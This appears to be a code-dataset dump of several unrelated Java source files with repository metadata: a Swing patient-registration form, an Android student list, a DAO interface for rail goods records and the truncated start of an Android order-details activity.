tabela.getColumnModel().getColumn(2).setPreferredWidth(50);
tabela.getColumnModel().getColumn(3).setPreferredWidth(10);
tabela.getColumnModel().getColumn(4).setPreferredWidth(150);
tabela.getColumnModel().getColumn(5).setPreferredWidth(50);
tabela.getColumnModel().getColumn(6).setPreferredWidth(10);
tabela.getColumnModel().getColumn(7).setPreferredWidth(50);
tabela.setPreferredScrollableViewportSize(new Dimension(1366, 768));
tabela.setFillsViewportHeight(true);
JScrollPane scroll = new JScrollPane(tabela);
tabela.getTableHeader().setReorderingAllowed(false);
JFrame jlistarPaciente = new JFrame("Listagem Medicos");
jlistarPaciente.add(listarPaciente);
listarPaciente.add(scroll);
jlistarPaciente.setVisible(true);
jlistarPaciente.setExtendedState(JFrame.MAXIMIZED_BOTH);
}
}
| ISO-8859-1 | Java | 18,121 | java | InterfacePaciente.java | Java | []
| null | []
| package view;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.GridLayout;
import java.text.ParseException;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFormattedTextField;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.table.DefaultTableModel;
import javax.swing.text.MaskFormatter;
import controller.ControllerPaciente;
import model.Paciente;
public class InterfacePaciente {
ControllerPaciente controllerPaciente = new ControllerPaciente();
public void cadastrarpaciente() {
JPanel cadastrarPaciente = new JPanel();
cadastrarPaciente.setLayout(new GridLayout(11, 2, -5, 3));
JFrame janelaCadastrarPaciente = new JFrame("Cadastrar");
janelaCadastrarPaciente.setSize(560, 410);
janelaCadastrarPaciente.setLocationRelativeTo(null);
janelaCadastrarPaciente.setVisible(true);
janelaCadastrarPaciente.add(cadastrarPaciente);
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(20);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF: ");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JComboBox<String> ComboSexo = new JComboBox<String>();
ComboSexo.addItem("M");
ComboSexo.addItem("F");
ComboSexo.setSelectedItem(null);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField(100);
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton btnCadastrar = new JButton("Cadastrar");
JButton btnFecharcadastro = new JButton("Fechar Cadastro");
cadastrarPaciente.add(lblNome);
cadastrarPaciente.add(txtNome);
cadastrarPaciente.add(lblcpf);
cadastrarPaciente.add(txtcpf);
cadastrarPaciente.add(lblSexo);
cadastrarPaciente.add(ComboSexo);
cadastrarPaciente.add(lblemail);
cadastrarPaciente.add(txtemail);
cadastrarPaciente.add(lbltelefone);
cadastrarPaciente.add(txttelefone);
cadastrarPaciente.add(lblrua);
cadastrarPaciente.add(txtrua);
cadastrarPaciente.add(lblnumero);
cadastrarPaciente.add(txtnumero);
cadastrarPaciente.add(lblbairro);
cadastrarPaciente.add(txtbairro);
cadastrarPaciente.add(lblcidade);
cadastrarPaciente.add(txtcidade);
cadastrarPaciente.add(lbldatanascimento);
cadastrarPaciente.add(txtnascimento);
cadastrarPaciente.add(btnCadastrar);
cadastrarPaciente.add(btnFecharcadastro);
btnCadastrar.addActionListener((ActionEvent) -> {
try {
controllerPaciente.cadastrarPaciente(txtNome.getText(), txtcpf.getText(),
(String) ComboSexo.getSelectedItem(), txtemail.getText(), txttelefone.getText(),
txtrua.getText(), txtnumero.getText(), txtbairro.getText(), txtcidade.getText(),
txtnascimento.getText());
JOptionPane.showMessageDialog(null, "Paciente Cadastrado com Sucesso", "sucesso",
JOptionPane.INFORMATION_MESSAGE);
txtNome.setText(null);
txtcpf.setText(null);
ComboSexo.setSelectedItem(null);
txtemail.setText(null);
txttelefone.setText(null);
txtrua.setText(null);
txtnumero.setText(null);
txtbairro.setText(null);
txtcidade.setText(null);
txtnascimento.setText(null);
} catch (Exception e) {
JOptionPane.showMessageDialog(null, "Erro Paciente não cadastrado", "Erro", JOptionPane.ERROR_MESSAGE);
}
});
btnFecharcadastro.addActionListener((ActionEvent) -> {
janelaCadastrarPaciente.dispose();
});
}
public void editarpaciente() {
JPanel editarPaciente = new JPanel();
editarPaciente.setLayout(new GridLayout(13, 2, -1, 3));
JFrame janelaEditarPaciente = new JFrame("Editar");
janelaEditarPaciente.setSize(560, 480);
janelaEditarPaciente.setLocationRelativeTo(null);
janelaEditarPaciente.setVisible(true);
janelaEditarPaciente.add(editarPaciente);
JLabel lblid = new JLabel("ID: ");
JTextField txtid = new JTextField(100);
JButton botaobuscar = new JButton("Buscar");
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(100);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JComboBox<String> ComboSexo = new JComboBox<String>();
ComboSexo.addItem("M");
ComboSexo.addItem("F");
ComboSexo.setSelectedItem(null);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField();
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton editar = new JButton("Editar");
JButton fecharRemocao = new JButton("Fechar Tela");
editarPaciente.add(lblid);
editarPaciente.add(txtid);
editarPaciente.add(botaobuscar);
editarPaciente.add(new JLabel());
editarPaciente.add(lblNome);
editarPaciente.add(txtNome);
editarPaciente.add(lblcpf);
editarPaciente.add(txtcpf);
editarPaciente.add(lblSexo);
editarPaciente.add(ComboSexo);
editarPaciente.add(lblemail);
editarPaciente.add(txtemail);
editarPaciente.add(lbltelefone);
editarPaciente.add(txttelefone);
editarPaciente.add(lblrua);
editarPaciente.add(txtrua);
editarPaciente.add(lblnumero);
editarPaciente.add(txtnumero);
editarPaciente.add(lblbairro);
editarPaciente.add(txtbairro);
editarPaciente.add(lblcidade);
editarPaciente.add(txtcidade);
editarPaciente.add(lbldatanascimento);
editarPaciente.add(txtnascimento);
editarPaciente.add(editar);
editarPaciente.add(fecharRemocao);
editar.setEnabled(false);
botaobuscar.addActionListener(ActionEvent -> {
try {
Paciente paciente = new Paciente();
Long idtemp = (long) Integer.parseInt(txtid.getText());
paciente = controllerPaciente.buscarPaciente(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
ComboSexo.setSelectedItem(paciente.getSexo());
txtemail.setText(paciente.getEmail());
txttelefone.setText(paciente.getTelefonePaciente().getNumero());
txtrua.setText(paciente.getEnderecoPaciente().getRua());
txtnumero.setText(paciente.getEnderecoPaciente().getNumero());
txtbairro.setText(paciente.getEnderecoPaciente().getBairro());
txtcidade.setText(paciente.getEnderecoPaciente().getCidade());
txtnascimento.setText(paciente.getNascimento());
editar.setEnabled(true);
} catch (Exception e) {
JOptionPane.showMessageDialog(botaobuscar, "Paciente não encontrado", "Erro",
JOptionPane.ERROR_MESSAGE);
}
});
editar.addActionListener(ActionEvent -> {
int opc = JOptionPane.showConfirmDialog(null, "Deseja realmente editar o Paciente " + txtNome.getText(), "",
JOptionPane.YES_NO_OPTION);
if (opc == JOptionPane.YES_OPTION) {
Long idtemp = (long) Integer.parseInt(txtid.getText());
controllerPaciente.atualizarpaciente(idtemp, txtNome.getText(), txtcpf.getText(),
(String) ComboSexo.getSelectedItem(), txtemail.getText(), txttelefone.getText(),
txtrua.getText(), txtnumero.getText(), txtbairro.getText(), txtcidade.getText(),
txtnascimento.getText());
JOptionPane.showMessageDialog(null, "Paciente Editado com Sucesso", "Sucesso",
JOptionPane.INFORMATION_MESSAGE);
} else {
JOptionPane.showMessageDialog(null, "Edição Cancelada Com Sucesso", "Erro", JOptionPane.CLOSED_OPTION);
}
});
fecharRemocao.addActionListener((ActionEvent) -> {
janelaEditarPaciente.dispose();
});
}
public void removerpaciente() {
JPanel editarPaciente = new JPanel();
editarPaciente.setLayout(new GridLayout(13, 2, -1, 3));
JFrame janelaRemoverPaciente = new JFrame("Remover");
janelaRemoverPaciente.setSize(560, 480);
janelaRemoverPaciente.setLocationRelativeTo(null);
janelaRemoverPaciente.setVisible(true);
janelaRemoverPaciente.add(editarPaciente);
JLabel lblid = new JLabel("ID: ");
JTextField txtid = new JTextField(100);
JButton botaobuscar = new JButton("Buscar");
JLabel lblNome = new JLabel("Nome: ");
JTextField txtNome = new JTextField(20);
MaskFormatter maskcpf = null;
try {
maskcpf = new MaskFormatter("###.###.###-##");
} catch (Exception e) {
e.printStackTrace();
}
JLabel lblcpf = new JLabel("CPF");
JFormattedTextField txtcpf = new JFormattedTextField(maskcpf);
JTextField txtsexo = new JTextField(5);
JLabel lblSexo = new JLabel("Sexo: ");
JLabel lblemail = new JLabel("Email: ");
JTextField txtemail = new JTextField(100);
JLabel lbltelefone = new JLabel("Telefone: ");
MaskFormatter masktelefone = null;
try {
masktelefone = new MaskFormatter("(##)#####-####");
} catch (Exception e) {
e.printStackTrace();
}
JFormattedTextField txttelefone = new JFormattedTextField(masktelefone);
JLabel lblrua = new JLabel("Rua: ");
JTextField txtrua = new JTextField(100);
JLabel lblnumero = new JLabel("Numero: ");
JTextField txtnumero = new JTextField(100);
JLabel lblbairro = new JLabel("Bairro: ");
JTextField txtbairro = new JTextField(100);
JLabel lblcidade = new JLabel("Cidade: ");
JTextField txtcidade = new JTextField(100);
JLabel lbldatanascimento = new JLabel("Data Nascimento: ");
MaskFormatter masknascimento = null;
try {
masknascimento = new MaskFormatter("##/##/####");
} catch (ParseException e) {
e.printStackTrace();
}
JFormattedTextField txtnascimento = new JFormattedTextField(masknascimento);
JButton remover = new JButton("Remover");
JButton fechartela = new JButton("Fechar Tela");
editarPaciente.add(lblid);
editarPaciente.add(txtid);
editarPaciente.add(botaobuscar);
editarPaciente.add(new JLabel());
editarPaciente.add(lblNome);
editarPaciente.add(txtNome);
editarPaciente.add(lblcpf);
editarPaciente.add(txtcpf);
editarPaciente.add(lblSexo);
editarPaciente.add(txtsexo);
editarPaciente.add(lblemail);
editarPaciente.add(txtemail);
editarPaciente.add(lbltelefone);
editarPaciente.add(txttelefone);
editarPaciente.add(lblrua);
editarPaciente.add(txtrua);
editarPaciente.add(lblnumero);
editarPaciente.add(txtnumero);
editarPaciente.add(lblbairro);
editarPaciente.add(txtbairro);
editarPaciente.add(lblcidade);
editarPaciente.add(txtcidade);
editarPaciente.add(lbldatanascimento);
editarPaciente.add(txtnascimento);
editarPaciente.add(remover);
editarPaciente.add(fechartela);
txtNome.setBorder(null);
txtcpf.setBorder(null);
txtsexo.setBorder(null);
txtemail.setBorder(null);
txttelefone.setBorder(null);
txtrua.setBorder(null);
txtnumero.setBorder(null);
txtbairro.setBorder(null);
txtcidade.setBorder(null);
txtnascimento.setBorder(null);
txtNome.setEditable(false);
txtcpf.setEditable(false);
txtsexo.setEditable(false);
txtemail.setEditable(false);
txttelefone.setEditable(false);
txtrua.setEditable(false);
txtnumero.setEditable(false);
txtbairro.setEditable(false);
txtcidade.setEditable(false);
txtnascimento.setEditable(false);
txtNome.setFont(txtNome.getFont().deriveFont(14f));
txtcpf.setFont(txtcpf.getFont().deriveFont(14f));
txtsexo.setFont(txtsexo.getFont().deriveFont(14f));
txtemail.setFont(txtemail.getFont().deriveFont(14f));
txttelefone.setFont(txttelefone.getFont().deriveFont(14f));
txtrua.setFont(txtrua.getFont().deriveFont(14f));
txtnumero.setFont(txtnumero.getFont().deriveFont(14f));
txtbairro.setFont(txtbairro.getFont().deriveFont(14f));
txtcidade.setFont(txtcidade.getFont().deriveFont(14f));
txtnascimento.setFont(txtnascimento.getFont().deriveFont(14f));
botaobuscar.addActionListener(ActionEvent -> {
try {
Paciente paciente = new Paciente();
Long idtemp = (long) Integer.parseInt(txtid.getText());
paciente = controllerPaciente.buscarPaciente(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
txtsexo.setText(paciente.getSexo());
txtemail.setText(paciente.getEmail());
txttelefone.setText(paciente.getTelefonePaciente().getNumero());
txtrua.setText(paciente.getEnderecoPaciente().getRua());
txtnumero.setText(paciente.getEnderecoPaciente().getNumero());
txtbairro.setText(paciente.getEnderecoPaciente().getBairro());
txtcidade.setText(paciente.getEnderecoPaciente().getCidade());
txtnascimento.setText(paciente.getNascimento());
} catch (Exception e) {
JOptionPane.showMessageDialog(botaobuscar, "Paciente não encontrado", "Erro",
JOptionPane.ERROR_MESSAGE);
}
});
remover.addActionListener((ActionEvent) -> {
int opc = JOptionPane.showConfirmDialog(null, "Deseja Realmente Remover o Paciente " + txtNome.getText(),
"", JOptionPane.YES_NO_OPTION);
if (opc == JOptionPane.YES_OPTION) {
int idtemp = Integer.parseInt(txtid.getText());
controllerPaciente.removerpaciente(idtemp);
JOptionPane.showMessageDialog(null, "Paciente removido com sucesso", "Sucesso",
JOptionPane.INFORMATION_MESSAGE);
} else {
JOptionPane.showMessageDialog(null, "Remoção Cancelada com sucesso", "Erro", JOptionPane.ERROR_MESSAGE);
}
});
fechartela.addActionListener((ActionEvent) -> {
janelaRemoverPaciente.dispose();
});
}
public void listarpaciente() {
JTextField txtId = new JTextField(100);
JTextField txtNome = new JTextField(100);
JTextField txtcpf = new JTextField(100);
JTextField txtsexo = new JTextField(100);
JTextField txtEmail = new JTextField(100);
JTextField txtTelefone = new JTextField(100);
JTextField txtRua = new JTextField(100);
JTextField txtNumero = new JTextField(100);
JTextField txtBairro = new JTextField(100);
JTextField txtCidade = new JTextField(100);
JTextField txtDataNascimento = new JTextField(100);
DefaultTableModel tabelaPaciente = new DefaultTableModel(null, new String[] { "ID", "Nome", "CPF", "Sexo",
"Email", "Telefone", "Rua", "Numero", "Bairro", "Cidade", "Data Nascimento" });
// String[] elementosvazio = { "Vazio", "Vazio", "Vazio", "Vazio", "Vazio",
// "Vazio", "Vazio", "Vazio", "Vazio",
// "Vazio", "Vazio" };
ArrayList<Paciente> list = controllerPaciente.listarpaciente();
for (Paciente paciente : list) {
String idtemp = Long.toString(paciente.getId());
txtId.setText(idtemp);
txtNome.setText(paciente.getNome());
txtcpf.setText(paciente.getCpf());
txtsexo.setText(paciente.getSexo());
txtEmail.setText(paciente.getEmail());
txtTelefone.setText(paciente.getTelefonePaciente().getNumero());
txtRua.setText(paciente.getEnderecoPaciente().getRua());
txtNumero.setText(paciente.getEnderecoPaciente().getNumero());
txtBairro.setText(paciente.getEnderecoPaciente().getBairro());
txtCidade.setText(paciente.getEnderecoPaciente().getCidade());
txtDataNascimento.setText(paciente.getNascimento());
tabelaPaciente.addRow(new String[] { txtId.getText(), txtNome.getText(), txtcpf.getText(),
txtsexo.getText(), txtEmail.getText(), txtTelefone.getText(), txtRua.getText(), txtNumero.getText(),
txtBairro.getText(), txtCidade.getText(), txtDataNascimento.getText() });
}
JPanel listarPaciente = new JPanel();
listarPaciente.setLayout(new FlowLayout());
JTable tabela = new JTable(tabelaPaciente);
tabela.getColumnModel().getColumn(0).setPreferredWidth(2);
tabela.getColumnModel().getColumn(1).setPreferredWidth(140);
tabela.getColumnModel().getColumn(2).setPreferredWidth(50);
tabela.getColumnModel().getColumn(3).setPreferredWidth(10);
tabela.getColumnModel().getColumn(4).setPreferredWidth(150);
tabela.getColumnModel().getColumn(5).setPreferredWidth(50);
tabela.getColumnModel().getColumn(6).setPreferredWidth(10);
tabela.getColumnModel().getColumn(7).setPreferredWidth(50);
tabela.setPreferredScrollableViewportSize(new Dimension(1366, 768));
tabela.setFillsViewportHeight(true);
JScrollPane scroll = new JScrollPane(tabela);
tabela.getTableHeader().setReorderingAllowed(false);
JFrame jlistarPaciente = new JFrame("Listagem Medicos");
jlistarPaciente.add(listarPaciente);
listarPaciente.add(scroll);
jlistarPaciente.setVisible(true);
jlistarPaciente.setExtendedState(JFrame.MAXIMIZED_BOTH);
}
}
| 18,121 | 0.736061 | 0.726455 | 508 | 34.657482 | 22.688337 | 111 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.96063 | false | false | 14 |
455196077b4443e089505abaf2523a91c258f931 | 39,427,799,810,371 | f748e2ab3ef67d32797f9671fedd98cf1d744a09 | /app/src/main/java/com/example/jatin/studentdatabase/StudentList.java | 6531c0ab139f56cd0f8eb4f535ffe25469b1b73c | []
| no_license | jatinkumarpcm/StudentDatabase | https://github.com/jatinkumarpcm/StudentDatabase | 9d00854480b3c4da0e87c8f945bbdd20e731aeb4 | 2dfdc0d918f677a007ebe919d78e91085bb2b658 | refs/heads/master | 2020-03-07T10:40:45.284000 | 2018-03-30T14:45:33 | 2018-03-30T14:45:33 | 127,437,285 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.jatin.studentdatabase;
import android.app.Activity;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.os.Parcelable;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import java.io.Serializable;
import java.util.ArrayList;
public class StudentList extends AppCompatActivity {
ListView listView;
Dbhelper dbhelper;
ArrayAdapter<Student> arrayAdapter;
ArrayList<Student> list;
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_student_list);
getSupportActionBar().hide();
listView = (ListView) findViewById(R.id.listview);
dbhelper =new Dbhelper(this);
listView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
Student student = list.get(position);
Intent intent = new Intent(getApplicationContext(),UpdateStudent.class);
intent.putExtra("STUDENT", student);
startActivity(intent);
}
});
listView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> parent, View view, final int position, long id) {
AlertDialog.Builder builder = new AlertDialog.Builder(StudentList.this);
builder.setTitle("Confirm");
builder.setMessage("Are you sure to delete student data?");
builder.setPositiveButton("YES", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
Student student = list.get(position);
int delstudent = dbhelper.delete(student);
if(delstudent >0)
{
Toast.makeText(StudentList.this, "Student deleted", Toast.LENGTH_SHORT).show();
list.remove(position);
arrayAdapter.notifyDataSetChanged();
}
else
{
Toast.makeText(StudentList.this, "Something went wrong", Toast.LENGTH_SHORT).show();
}
}
});
builder.setNegativeButton("No",null);
AlertDialog alert = builder.create();
alert.show();
Button nbutton = alert.getButton(DialogInterface.BUTTON_NEGATIVE);
nbutton.setTextColor(Color.BLACK);
Button pbutton = alert.getButton(DialogInterface.BUTTON_POSITIVE);
pbutton.setTextColor(Color.BLACK);
return true;
}
});
}
@Override
protected void onStart() {
super.onStart();
list = dbhelper.getAllContact();
arrayAdapter =new ArrayAdapter(getBaseContext(),android.R.layout.simple_list_item_1,list);
listView.setAdapter(arrayAdapter);
}
} | UTF-8 | Java | 3,637 | java | StudentList.java | Java | [
{
"context": "package com.example.jatin.studentdatabase;\n\nimport android.app.Activity;\nim",
"end": 25,
"score": 0.9816746115684509,
"start": 20,
"tag": "USERNAME",
"value": "jatin"
}
]
| null | []
| package com.example.jatin.studentdatabase;
import android.app.Activity;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.os.Parcelable;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import java.io.Serializable;
import java.util.ArrayList;
public class StudentList extends AppCompatActivity {
ListView listView;
Dbhelper dbhelper;
ArrayAdapter<Student> arrayAdapter;
ArrayList<Student> list;
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_student_list);
getSupportActionBar().hide();
listView = (ListView) findViewById(R.id.listview);
dbhelper =new Dbhelper(this);
listView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
Student student = list.get(position);
Intent intent = new Intent(getApplicationContext(),UpdateStudent.class);
intent.putExtra("STUDENT", student);
startActivity(intent);
}
});
listView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> parent, View view, final int position, long id) {
AlertDialog.Builder builder = new AlertDialog.Builder(StudentList.this);
builder.setTitle("Confirm");
builder.setMessage("Are you sure to delete student data?");
builder.setPositiveButton("YES", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
Student student = list.get(position);
int delstudent = dbhelper.delete(student);
if(delstudent >0)
{
Toast.makeText(StudentList.this, "Student deleted", Toast.LENGTH_SHORT).show();
list.remove(position);
arrayAdapter.notifyDataSetChanged();
}
else
{
Toast.makeText(StudentList.this, "Something went wrong", Toast.LENGTH_SHORT).show();
}
}
});
builder.setNegativeButton("No",null);
AlertDialog alert = builder.create();
alert.show();
Button nbutton = alert.getButton(DialogInterface.BUTTON_NEGATIVE);
nbutton.setTextColor(Color.BLACK);
Button pbutton = alert.getButton(DialogInterface.BUTTON_POSITIVE);
pbutton.setTextColor(Color.BLACK);
return true;
}
});
}
@Override
protected void onStart() {
super.onStart();
list = dbhelper.getAllContact();
arrayAdapter =new ArrayAdapter(getBaseContext(),android.R.layout.simple_list_item_1,list);
listView.setAdapter(arrayAdapter);
}
} | 3,637 | 0.609018 | 0.607919 | 101 | 35.019802 | 28.865677 | 112 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.722772 | false | false | 14 |
d45c94e9b49bbb2226cc236362a94b1c60de0eac | 39,487,929,344,177 | 24875e1295d51708e0951446c41bbdc3672a5033 | /railAnaly-dal/src/main/java/com/attiot/railAnaly/goods/dao/APointListGoodsHisDao.java | 0e859c9889fdf710cde110b5363b175612564ab4 | []
| no_license | fishinga/smartdcc | https://github.com/fishinga/smartdcc | 155e5ad04ae5eb045ab61e0900a0b62355cba382 | 35fe58bf4d039c3b776f184593873bfa69834fb8 | refs/heads/master | 2022-07-24T19:07:29.040000 | 2019-11-27T08:02:04 | 2019-11-27T08:02:04 | 224,374,839 | 0 | 0 | null | false | 2022-07-11T21:06:04 | 2019-11-27T07:53:22 | 2019-11-27T08:02:47 | 2022-07-11T21:06:04 | 349 | 0 | 0 | 6 | Java | false | false | /**
* Copyright (c) 2017-2027 厦门物之联智能科技有限公司.
*/
package com.attiot.railAnaly.goods.dao;
import com.attiot.railAnaly.goods.entity.APointListGoodsHis;
import com.attiot.railAnaly.goods.entity.PointList;
import com.attiot.railAnaly.goods.entity.PointListGoods;
import com.attiot.railAnaly.goods.param.APointListGoodsHisQueryParam;
import java.util.HashMap;
import java.util.List;
import java.util.Date;
import java.util.Map;
import org.springframework.stereotype.Repository;
/**
* 请点工单作业牌关系
* @author attiot
* 2018-05-14 09:52:44
*/
@Repository
public interface APointListGoodsHisDao {
/**
* 新增
* @param bo
*/
void insert(APointListGoodsHis bo);
public void batchInsert(List<PointListGoods> list);
void create(PointListGoods bo);
/**
* 修改
* @param bo
*/
void update(APointListGoodsHis bo);
/**
* 删除
* @param id
*/
void delete(String id);
/**
* 获取实体对象
* @param id
*/
APointListGoodsHis getById(String id);
/**
* 查询实体对象
* @param param
*/
APointListGoodsHis getByParam(APointListGoodsHisQueryParam param);
/**
* 查询
* @param param
*/
List<APointListGoodsHis> query(APointListGoodsHisQueryParam param);
/**
* 查询统计
* @param param
*/
long queryCount(APointListGoodsHisQueryParam param);
public void updateModifor(Map params);
}
| UTF-8 | Java | 1,391 | java | APointListGoodsHisDao.java | Java | [
{
"context": "tereotype.Repository;\n\n/**\n * 请点工单作业牌关系\n * @author attiot\n * 2018-05-14 09:52:44\n */\n@Repository\npublic int",
"end": 512,
"score": 0.9996304512023926,
"start": 506,
"tag": "USERNAME",
"value": "attiot"
}
]
| null | []
| /**
* Copyright (c) 2017-2027 厦门物之联智能科技有限公司.
*/
package com.attiot.railAnaly.goods.dao;
import com.attiot.railAnaly.goods.entity.APointListGoodsHis;
import com.attiot.railAnaly.goods.entity.PointList;
import com.attiot.railAnaly.goods.entity.PointListGoods;
import com.attiot.railAnaly.goods.param.APointListGoodsHisQueryParam;
import java.util.HashMap;
import java.util.List;
import java.util.Date;
import java.util.Map;
import org.springframework.stereotype.Repository;
/**
* 请点工单作业牌关系
* @author attiot
* 2018-05-14 09:52:44
*/
@Repository
public interface APointListGoodsHisDao {
/**
* 新增
* @param bo
*/
void insert(APointListGoodsHis bo);
public void batchInsert(List<PointListGoods> list);
void create(PointListGoods bo);
/**
* 修改
* @param bo
*/
void update(APointListGoodsHis bo);
/**
* 删除
* @param id
*/
void delete(String id);
/**
* 获取实体对象
* @param id
*/
APointListGoodsHis getById(String id);
/**
* 查询实体对象
* @param param
*/
APointListGoodsHis getByParam(APointListGoodsHisQueryParam param);
/**
* 查询
* @param param
*/
List<APointListGoodsHis> query(APointListGoodsHisQueryParam param);
/**
* 查询统计
* @param param
*/
long queryCount(APointListGoodsHisQueryParam param);
public void updateModifor(Map params);
}
| 1,391 | 0.718245 | 0.701309 | 75 | 16.32 | 19.449188 | 69 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.773333 | false | false | 14 |
857cdfe6bab8b2de691bc581d51abf314d698a09 | 37,538,014,190,760 | bdecb8bd062a3669ec7ee772fbfb6500590f4b36 | /JsNewMall/app/src/main/java/com/example/host/jsnewmall/activity/OrderDetailsActivity.java | d499ae4b8710c72288b640569579a459e7ae42da | []
| no_license | FTD-ZF/jcProject | https://github.com/FTD-ZF/jcProject | 81c65e9adba229bc32891539da0f8571c1c4b9d2 | 6c18307c1fd7f8cb3341f2e3651af4a3771e72dc | refs/heads/master | 2021-01-19T21:47:09.116000 | 2017-04-19T05:31:23 | 2017-04-19T05:31:23 | 88,703,378 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.host.jsnewmall.activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.RelativeLayout;
import android.widget.ScrollView;
import android.widget.TextView;
import com.example.host.jsnewmall.adapter.OrderTravellerAdapter;
import com.example.host.jsnewmall.model.JsonmModel;
import com.example.host.jsnewmall.model.OrderdetailsEntry;
import com.example.host.jsnewmall.utils.Base64Utils;
import com.example.host.jsnewmall.utils.HttpUtils;
import com.example.host.jsnewmall.utils.JsonUtils;
import com.example.host.jsnewmall.utils.ToastUtils;
import com.example.host.jsnewmall.utils.UrlUtils;
import com.example.host.jsnewmall.view.HomeForthGridView;
import com.example.host.jsnewmall.view.LoadingDialog;
import com.google.gson.Gson;
import com.uu1.nmw.R;
import org.json.JSONException;
import org.json.JSONObject;
import org.w3c.dom.Text;
import java.io.Serializable;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* Created by host on 2017/3/16.
*/
public class OrderDetailsActivity extends BaseActivity {
private SimpleDateFormat mSimpleTime;
private String nTime;
Gson gson=new Gson();
private LoadingDialog dialog;
private static final int FINISH_CODE=100;
private static final int FINISH_CODE_S=103;
private OrderdetailsEntry mOrderdetailsInfo;
private String orderid;
private LinearLayout mBack;
private LinearLayout submitpay;
private int crqtydetails = 0;
private int rtqtydetails = 0;
private int lrqtydetails = 0;
private int xsqtydetails = 0;
private RelativeLayout mRladdtraveller;
private ImageView mImageTravel;
private int personnum;
private int ordercontact;
private ListView mListTraveller;
private List<OrderdetailsEntry.OrdercontactBean> mOrdeContactlist;
private OrderTravellerAdapter mOrderTravellerAdapter;
private ScrollView mScrollview;
private boolean firstbool=true;
private Handler handler=new Handler(){
@Override
